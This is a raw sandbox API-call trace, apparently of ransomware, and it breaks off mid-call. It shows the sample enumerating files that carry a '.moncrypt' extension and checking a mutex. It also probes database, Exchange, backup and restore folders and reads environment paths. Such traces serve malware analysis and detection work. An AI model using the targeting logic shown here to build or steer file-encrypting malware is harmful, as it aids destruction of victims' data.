lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0054.189] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.189] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.189] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.189] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.189] GlobalUnlock (hMem=0x44000c) returned 0 [0054.189] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.189] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.189] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.189] GlobalUnlock (hMem=0x44000c) returned 0 [0054.189] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.189] GlobalUnlock (hMem=0x440004) returned 0 [0054.190] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.190] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0054.190] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.190] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.190] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.190] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.190] GlobalUnlock (hMem=0x440004) returned 0 [0054.190] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.190] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.190] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.190] GlobalUnlock (hMem=0x440004) returned 0 [0054.190] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.190] GlobalUnlock (hMem=0x44000c) returned 0 [0054.190] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.190] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0054.190] GetLastError () returned 0x12 [0054.190] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.190] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0054.190] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.190] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.191] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.191] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.191] GlobalUnlock (hMem=0x44000c) returned 0 [0054.191] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.191] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.191] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.191] GlobalUnlock (hMem=0x44000c) returned 0 [0054.191] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.191] GlobalUnlock (hMem=0x440004) returned 0 [0054.191] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.191] GlobalLock (hMem=0x440004) returned 0x550170 [0054.191] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.191] GlobalUnlock (hMem=0x440004) returned 0 [0054.191] GlobalLock (hMem=0x440004) returned 0x550170 [0054.191] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.191] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.191] GlobalUnlock (hMem=0x440004) returned 0 [0054.191] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.191] GlobalUnlock (hMem=0x44000c) returned 0 [0054.191] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.191] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE") returned 1 [0054.191] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.191] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.191] GlobalUnlock (hMem=0x44000c) returned 0 [0054.191] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.191] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.191] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.191] GlobalUnlock (hMem=0x44000c) returned 0 [0054.192] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.192] GlobalUnlock (hMem=0x440004) returned 0 [0054.192] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@凂R冖R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.202] GetLastError () returned 0x3 [0054.203] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0054.203] GetLastError () returned 0x2 [0054.203] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@삌R企@\x18?T\x18;")) returned 0xffffffff [0054.204] GetLastError () returned 0x2 [0054.204] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18D")) returned 0xffffffff [0054.204] GetLastError () returned 0x2 [0054.204] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18삌R\x18j")) returned 0xffffffff [0054.205] GetLastError () returned 0x2 [0054.205] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18q")) returned 0xffffffff [0054.206] GetLastError () returned 0x2 [0054.206] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\삈RP") returned 6 [0054.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18y")) returned 0xffffffff [0054.206] GetLastError () returned 0x2 [0054.206] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0054.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x81")) returned 0xffffffff [0054.207] GetLastError () returned 0x2 [0054.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0054.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18\x88")) returned 0xffffffff [0054.207] GetLastError () returned 0x2 [0054.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0054.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.208] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뾴R企@\x18?T\x18\x8f")) returned 0xffffffff [0054.208] GetLastError () returned 0x2 [0054.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0054.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.208] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a5e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0054.208] GetLastError () returned 0x2 [0054.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a4d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0054.209] GlobalLock (hMem=0x440004) returned 0x550170 [0054.209] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.209] GlobalUnlock (hMem=0x440004) returned 0 [0054.209] GlobalLock (hMem=0x440004) returned 0x550170 [0054.209] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.209] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.209] GlobalUnlock (hMem=0x440004) returned 0 [0054.209] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.209] GlobalUnlock (hMem=0x44000c) returned 0 [0054.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.209] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.209] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.209] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.210] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a608, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.210] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.210] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.210] GlobalUnlock (hMem=0x44000c) returned 0 [0054.210] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.210] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.210] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.210] GlobalUnlock (hMem=0x44000c) returned 0 [0054.210] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.210] GlobalUnlock (hMem=0x440004) returned 0 [0054.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\") returned 0x41 [0054.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 